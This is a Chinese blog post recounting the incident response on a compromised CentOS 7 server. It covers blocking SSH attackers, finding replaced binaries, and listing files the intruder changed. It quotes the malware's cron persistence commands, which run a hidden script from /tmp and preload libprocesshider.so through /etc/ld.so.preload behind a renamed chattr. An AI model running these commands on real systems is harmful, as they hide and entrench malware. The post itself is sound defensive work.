zoukankan      html  css  js  c++  java
  • 记录一次linux centos7被hack的填坑记录-20201015

    hacked的表象:top发现cpu占用100%,centos7的web应用访问缓慢

    以下是零零散散的后续记录:
    通过lastb发现massive的ssh可疑登陆,抓其中的典型,毙掉,如下:
    firewall-cmd --permanent --zone=public --add-rich-rule="rule family="ipv4" source address="45.141.84.10" port protocol="tcp" port="40022" reject"
    firewall-cmd --reload
    firewall-cmd --list-all-zones
    后来发现还有持续的ssh登陆,好吧直接关掉sshd,后续可以考虑加上fail2ban功能

    关闭gui,减少资源消耗
    systemctl get-default
    systemctl set-default multi-user.target

    附带的grub操作,请忽略之:
    /etc/default/grub.cfg
    GRUB_HIDDEN_TIMEOUT=0
    GRUB_HIDDEN_TIMEOUT_QUIET=true
    update-grub

    可疑登陆,踢下线
    pkill -kill -t pts/0

    下面是找到可以进程的详细目录位置的方法:
    通过ps及top命令查看进程信息时,只能查到相对路径,查不到的进程的详细信息,如绝对路径等。这时,我们需要通过以下的方法来查看进程的详细信息:
    Linux在启动一个进程时,系统会在/proc下创建一个以PID命名的文件夹,在该文件夹下会有我们的进程的信息,其中包括一个名为exe的文件即记录了绝对路径,通过ll或ls –l命令即可查看。
    ll /proc/PID
    说明:
    cwd符号链接的是进程运行目录;
    exe符号连接就是执行程序的绝对路径;
    cmdline就是程序运行时输入的命令行命令;
    environ记录了进程运行时的环境变量;
    fd目录下是进程打开或使用的文件的符号连接

    查看seliunx的状态:
    getenforce
    sestatus
    /etc/selinux/config

    centos7下poweroff提示
    PolicyKit daemon disconnected from the bus.
    We are no longer a registered authentication agent.
    网上找半天也没有答案,看到老外说是系统bug

    下面netstat查看网络连接,没有输出(后来才发现netstat已经被替换成病毒程序了)
    netstat -tplun

    为了使正常的服务进程可以尽量恢复正常,在病毒占用cpu高的情况下,将相关的正常服务进程提高优先级不失为1个临时解决问题的好办法:
    下面查找mysql的pid
    pidof mysqld

    top -p 某个pid查看特定pid

    Linux系统进程的优先级取值:-20 到 19,数越大优先级越低。
    可以通过top命令来查看,NI那一列。
    改变进程的优先级的方法有两种:(需要root权限)
    1、top命令
    输入r,然后根据提示输入进程ID,再输入优先级数值。
    2、renice命令
    renice -n 2 -p 1234 (-n:后面是优先级的值;-p,是进程号)

    将正常进程的优先级提高后,就需要着手删除可疑文件了,在删除可疑文件时最恶心的事情来了,发现删除不了,推测应该是给文件家里附加属性,在使用lsattr时发现找不到该命令,推测将lsattr改名了,好吧我也不知道你改了什么,直接如下安装e2fsprogs
    centos7无法使用lsattr命令
    yum -y install e2fsprogs

    a5059bc002一直运行
    [root@centos7 lib]# rm -f /usr/bin/a5059bc002
    [root@centos7 lib]# touch /usr/bin/a5059bc002
    [root@centos7 lib]# chattr +i /usr/bin/a5059bc002
    [root@centos7 lib]# ls -l /usr/bin/a5059bc002
    -rw-r--r-- 1 root root 0 10月 16 18:02 /usr/bin/a5059bc002
    [root@centos7 lib]# lsattr /usr/bin/a5059bc002
    ----i----------- /usr/bin/a5059bc002

    查看cron相关信息,查看可疑程序周期性运行
    通过tail -f -n 300 /var/log/cron看到如下日志:

    Oct 16 15:36:01 centos7 CROND[2204]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
    Oct 16 15:36:01 centos7 CROND[2206]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
    Oct 16 15:36:01 centos7 CROND[2205]: (root) CMD (/etc/sphp >/dev/null 2>&1)

    可以看到chattr 被命名为lockr

    可以看到规律的可执行文件 在10月14 11:37存在问题 需要通过find来查找出来

    top可以看到占用cpu使用非常高的进程pid,然后less /proc/pid号/cmdline查看进程的具体位置
    find / -type f -newermt '2020-10-14 11:00' ! -newermt '2020-10-14 12:00'

    find / -type f -perm -111 -newermt '2020-10-14 11:00' ! -newermt '2020-10-14 12:00' 查找可执行文件

    ls -lSh /usr/bin按照文件大小从大到小排列

    -rwxr-xr-x 1 root root 30 10月 14 11:37 /bindu/phps
    -rwxrwxrwx 1 root root 43 10月 14 11:37 /bindu/phpx
    -rw-r--r-- 1 root root 370 10月 14 11:37 /etc/allow.bak
    -rw-r--r--. 1 root root 782 10月 14 11:37 /etc/crontab
    -rw-r--r-- 1 root root 460 10月 14 11:37 /etc/deny.bak
    -rw-r--r--. 1 root root 568 10月 14 11:37 /etc/fstab
    -rw-r--r-- 1 root root 541 10月 14 11:37 /etc/fstab.bak
    -rw-r--r-- 1 root root 949 10月 14 11:37 /etc/group
    ---------- 1 root root 764 10月 14 11:37 /etc/gshadow
    -rw-r--r-- 1 root root 2.3K 10月 14 11:37 /etc/passwd
    -rw-r--r--. 1 root root 1.8K 10月 14 11:37 /etc/profile
    -rwxrwxrwx 1 root root 188 10月 14 11:37 /etc/profile.d/php.sh
    -rwxr-xr-x 1 root root 114 10月 14 11:38 /etc/profile.d/supervisor.sh
    -rwxrwxrwx 1 root root 665K 10月 14 11:37 /etc/sphp
    -rwxr-xr-x 1 root root 954K 10月 14 11:37 /etc/spts
    -rwxr-xr-x 1 root root 300 10月 14 11:38 /etc/.supervisor/conf.d/123.conf
    -rw-r--r-- 1 root root 9.0K 10月 14 11:38 /etc/.supervisor/supervisord.conf
    -rw-r--r--. 1 root root 515 10月 14 11:37 /etc/sysctl.conf
    -rw------- 1 root root 381 10月 14 11:37 /root/.ssh/authorized_keys
    -rwxr-xr-x 1 root root 2.0G 10月 14 11:37 /swapfile
    -rwxr-xr-x 1 root root 409K 10月 14 11:37 /usr/bin/.bget
    -rwxrwxrwx 1 root root 409K 10月 14 11:37 /usr/bin/dget
    -rwxr-xr-x 1 root root 151K 10月 14 11:37 /usr/bin/dpkgd/lsof
    -rwxrwxrwx 1 root root 152K 10月 14 11:37 /usr/bin/dpkgd/netstat
    -rwxrwxrwx 1 root root 98K 10月 14 11:37 /usr/bin/dpkgd/ps
    -rwxrwxrwx 1 root root 113K 10月 14 11:37 /usr/bin/dpkgd/ss
    -rwxr-xr-x 1 root root 338 10月 14 11:37 /usr/bin/echo_supervisord_conf
    -rwxr-xr-x 1 root root 954K 10月 14 11:37 /usr/bin/.funzip
    -rwxrwxrwx 1 root root 98K 10月 14 11:37 /usr/bin/ips
    -rwxrwxrwx 1 root root 113K 10月 14 11:37 /usr/bin/iss
    -rwxrwxrwx 1 root root 12K 10月 14 11:37 /usr/bin/lockr
    -rwxrwxrwx 1 root root 12K 10月 14 11:38 /usr/bin/lockrc
    -rwxrwxrwx 1 root root 12K 10月 14 11:37 /usr/bin/.locks
    -rwxrwxrwx 1 root root 12K 10月 14 11:38 /usr/bin/.locksc
    -rwxrwxrwx 1 root root 1.2M 10月 14 11:37 /usr/bin/longbak
    -rwxrwxrwx 1 root root 152K 10月 14 11:37 /usr/bin/nets
    -rwxrwxrwx. 1 root root 71 10月 14 11:37 /usr/bin/netstat
    -rwxr-xr-x 1 root root 312 10月 14 11:37 /usr/bin/pidproxy
    -rwxr-xr-x 1 root root 322 10月 14 11:37 /usr/bin/supervisorctl
    -rwxr-xr-x 1 root root 318 10月 14 11:37 /usr/bin/supervisord
    -rwxr-xr-x 1 root root 85 10月 14 11:37 /usr/lib/mysql/mysql
    -rw-r--r-- 1 root root 238 10月 14 11:37 /usr/lib/python2.7/site-packages/easy-install.pth
    -rw-r--r-- 1 root root 1 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/EGG-INFO/dependency_links.txt
    -rw-r--r-- 1 root root 1.4K 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/EGG-INFO/PKG-INFO
    -rw-r--r-- 1 root root 291 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/EGG-INFO/SOURCES.txt
    -rw-r--r-- 1 root root 6 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/EGG-INFO/top_level.txt
    -rw-r--r-- 1 root root 1 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/EGG-INFO/zip-safe
    -rw-r--r-- 1 root root 3.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/_compat.py
    -rw-r--r-- 1 root root 4.0K 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/_compat.pyc
    -rw-r--r-- 1 root root 44K 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/init.py
    -rw-r--r-- 1 root root 45K 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/init.pyc
    -rw-r--r-- 1 root root 134 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/meld3.py
    -rw-r--r-- 1 root root 346 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/meld3.pyc
    -rw-r--r-- 1 root root 62K 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/test_meld3.py
    -rw-r--r-- 1 root root 66K 10月 14 11:37 /usr/lib/python2.7/site-packages/meld3-2.0.1-py2.7.egg/meld3/test_meld3.pyc
    -rwxrw-rw- 1 root root 1 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/dependency_links.txt
    -rwxrw-rw- 1 root root 192 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/entry_points.txt
    -rwxrw-rw- 1 root root 11 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/namespace_packages.txt
    -rwxrw-rw- 1 root root 1 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/not-zip-safe
    -rwxrw-rw- 1 root root 86K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/PKG-INFO
    -rwxrw-rw- 1 root root 49 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/requires.txt
    -rwxrw-rw- 1 root root 3.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/SOURCES.txt
    -rwxrw-rw- 1 root root 11 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/EGG-INFO/top_level.txt
    -rw-r--r-- 1 root root 2.4K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/childutils.py
    -rw-r--r-- 1 root root 4.7K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/childutils.pyc
    -rw-r--r-- 1 root root 154 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/confecho.py
    -rw-r--r-- 1 root root 539 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/confecho.pyc
    -rw-r--r-- 1 root root 13K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/datatypes.py
    -rw-r--r-- 1 root root 19K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/datatypes.pyc
    -rw-r--r-- 1 root root 18K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/dispatchers.py
    -rw-r--r-- 1 root root 17K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/dispatchers.pyc
    -rw-r--r-- 1 root root 6.6K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/events.py
    -rw-r--r-- 1 root root 15K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/events.pyc
    -rw-r--r-- 1 root root 6.0K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/http_client.py
    -rw-r--r-- 1 root root 9.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/http_client.pyc
    -rw-r--r-- 1 root root 31K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/http.py
    -rw-r--r-- 1 root root 28K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/http.pyc
    -rw-r--r-- 1 root root 56 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/init.py
    -rw-r--r-- 1 root root 256 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/init.pyc
    -rw-r--r-- 1 root root 11K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/loggers.py
    -rw-r--r-- 1 root root 17K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/loggers.pyc
    -rw-r--r-- 1 root root 11K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/asynchat_25.py
    -rw-r--r-- 1 root root 9.7K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/asynchat_25.pyc
    -rw-r--r-- 1 root root 17K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/asyncore_25.py
    -rw-r--r-- 1 root root 20K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/asyncore_25.pyc
    -rw-r--r-- 1 root root 4.8K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/auth_handler.py
    -rw-r--r-- 1 root root 4.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/auth_handler.pyc
    -rw-r--r-- 1 root root 1.5K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/counter.py
    -rw-r--r-- 1 root root 2.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/counter.pyc
    -rw-r--r-- 1 root root 6.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/default_handler.py
    -rw-r--r-- 1 root root 5.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/default_handler.pyc
    -rw-r--r-- 1 root root 12K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/filesys.py
    -rw-r--r-- 1 root root 15K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/filesys.pyc
    -rw-r--r-- 1 root root 3.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/http_date.py
    -rw-r--r-- 1 root root 3.6K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/http_date.pyc
    -rw-r--r-- 1 root root 29K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/http_server.py
    -rw-r--r-- 1 root root 26K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/http_server.pyc
    -rw-r--r-- 1 root root 121 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/init.py
    -rw-r--r-- 1 root root 297 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/init.pyc
    -rw-r--r-- 1 root root 7.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/logger.py
    -rw-r--r-- 1 root root 12K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/logger.pyc
    -rw-r--r-- 1 root root 2.8K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/medusa_gif.py
    -rw-r--r-- 1 root root 1.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/medusa_gif.pyc
    -rw-r--r-- 1 root root 7.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/m_syslog.py
    -rw-r--r-- 1 root root 4.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/m_syslog.pyc
    -rw-r--r-- 1 root root 8.7K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/producers.py
    -rw-r--r-- 1 root root 13K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/producers.pyc
    -rw-r--r-- 1 root root 9.5K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/status_handler.py
    -rw-r--r-- 1 root root 11K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/status_handler.pyc
    -rw-r--r-- 1 root root 2.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/xmlrpc_handler.py
    -rw-r--r-- 1 root root 4.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/medusa/xmlrpc_handler.pyc
    -rw-r--r-- 1 root root 80K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/options.py
    -rw-r--r-- 1 root root 71K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/options.pyc
    -rw-r--r-- 1 root root 1.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/pidproxy.py
    -rw-r--r-- 1 root root 3.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/pidproxy.pyc
    -rw-r--r-- 1 root root 6.6K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/poller.py
    -rw-r--r-- 1 root root 12K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/poller.pyc
    -rw-r--r-- 1 root root 34K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/process.py
    -rw-r--r-- 1 root root 29K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/process.pyc
    -rw-r--r-- 1 root root 35K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/rpcinterface.py
    -rw-r--r-- 1 root root 32K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/rpcinterface.pyc
    -rwxrw-rw- 1 root root 779 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/loop_eventgen.py
    -rw-r--r-- 1 root root 1.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/loop_eventgen.pyc
    -rwxrw-rw- 1 root root 716 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/loop_listener.py
    -rw-r--r-- 1 root root 957 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/loop_listener.pyc
    -rwxrw-rw- 1 root root 562 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/sample_commevent.py
    -rw-r--r-- 1 root root 985 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/sample_commevent.pyc
    -rwxrw-rw- 1 root root 1.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/sample_eventlistener.py
    -rw-r--r-- 1 root root 1.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/sample_eventlistener.pyc
    -rwxrw-rw- 1 root root 1.5K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/sample_exiting_eventlistener.py
    -rw-r--r-- 1 root root 1.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/scripts/sample_exiting_eventlistener.pyc
    -rwxrw-rw- 1 root root 9.0K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/skel/sample.conf
    -rw-r--r-- 1 root root 3.0K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/socket_manager.py
    -rw-r--r-- 1 root root 5.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/socket_manager.pyc
    -rw-r--r-- 1 root root 1.7K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/states.py
    -rw-r--r-- 1 root root 2.5K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/states.pyc
    -rw-r--r-- 1 root root 48K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/supervisorctl.py
    -rw-r--r-- 1 root root 46K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/supervisorctl.pyc
    -rw-r--r-- 1 root root 15K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/supervisord.py
    -rw-r--r-- 1 root root 14K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/supervisord.pyc
    -rw-r--r-- 1 root root 34K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/base.py
    -rw-r--r-- 1 root root 58K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/base.pyc
    -rwxrw-rw- 1 root root 425 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/fixtures/donothing.conf
    -rwxrw-rw- 1 root root 125 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/fixtures/spew.py
    -rw-r--r-- 1 root root 321 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/fixtures/spew.pyc
    -rwxrw-rw- 1 root root 185 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/fixtures/unkillable_spew.py
    -rw-r--r-- 1 root root 405 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/fixtures/unkillable_spew.pyc
    -rw-r--r-- 1 root root 20 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/init.py
    -rw-r--r-- 1 root root 175 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/init.pyc
    -rw-r--r-- 1 root root 5.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_childutils.py
    -rw-r--r-- 1 root root 8.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_childutils.pyc
    -rw-r--r-- 1 root root 540 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_confecho.py
    -rw-r--r-- 1 root root 1.4K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_confecho.pyc
    -rw-r--r-- 1 root root 27K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_datatypes.py
    -rw-r--r-- 1 root root 53K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_datatypes.pyc
    -rw-r--r-- 1 root root 48K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_dispatchers.py
    -rw-r--r-- 1 root root 51K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_dispatchers.pyc
    -rw-r--r-- 1 root root 21K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_events.py
    -rw-r--r-- 1 root root 27K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_events.pyc
    -rw-r--r-- 1 root root 25K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_http.py
    -rw-r--r-- 1 root root 38K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_http.pyc
    -rw-r--r-- 1 root root 13K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_loggers.py
    -rw-r--r-- 1 root root 20K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_loggers.pyc
    -rw-r--r-- 1 root root 130K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_options.py
    -rw-r--r-- 1 root root 139K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_options.pyc
    -rw-r--r-- 1 root root 17K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_poller.py
    -rw-r--r-- 1 root root 23K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_poller.pyc
    -rw-r--r-- 1 root root 89K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_process.py
    -rw-r--r-- 1 root root 96K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_process.pyc
    -rw-r--r-- 1 root root 95K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_rpcinterfaces.py
    -rw-r--r-- 1 root root 86K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_rpcinterfaces.pyc
    -rw-r--r-- 1 root root 7.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_socket_manager.py
    -rw-r--r-- 1 root root 13K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_socket_manager.pyc
    -rw-r--r-- 1 root root 2.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_states.py
    -rw-r--r-- 1 root root 4.9K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_states.pyc
    -rw-r--r-- 1 root root 67K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_supervisorctl.py
    -rw-r--r-- 1 root root 94K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_supervisorctl.pyc
    -rw-r--r-- 1 root root 23K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_supervisord.py
    -rw-r--r-- 1 root root 25K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_supervisord.pyc
    -rw-r--r-- 1 root root 6.7K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_web.py
    -rw-r--r-- 1 root root 11K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_web.pyc
    -rw-r--r-- 1 root root 34K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_xmlrpc.py
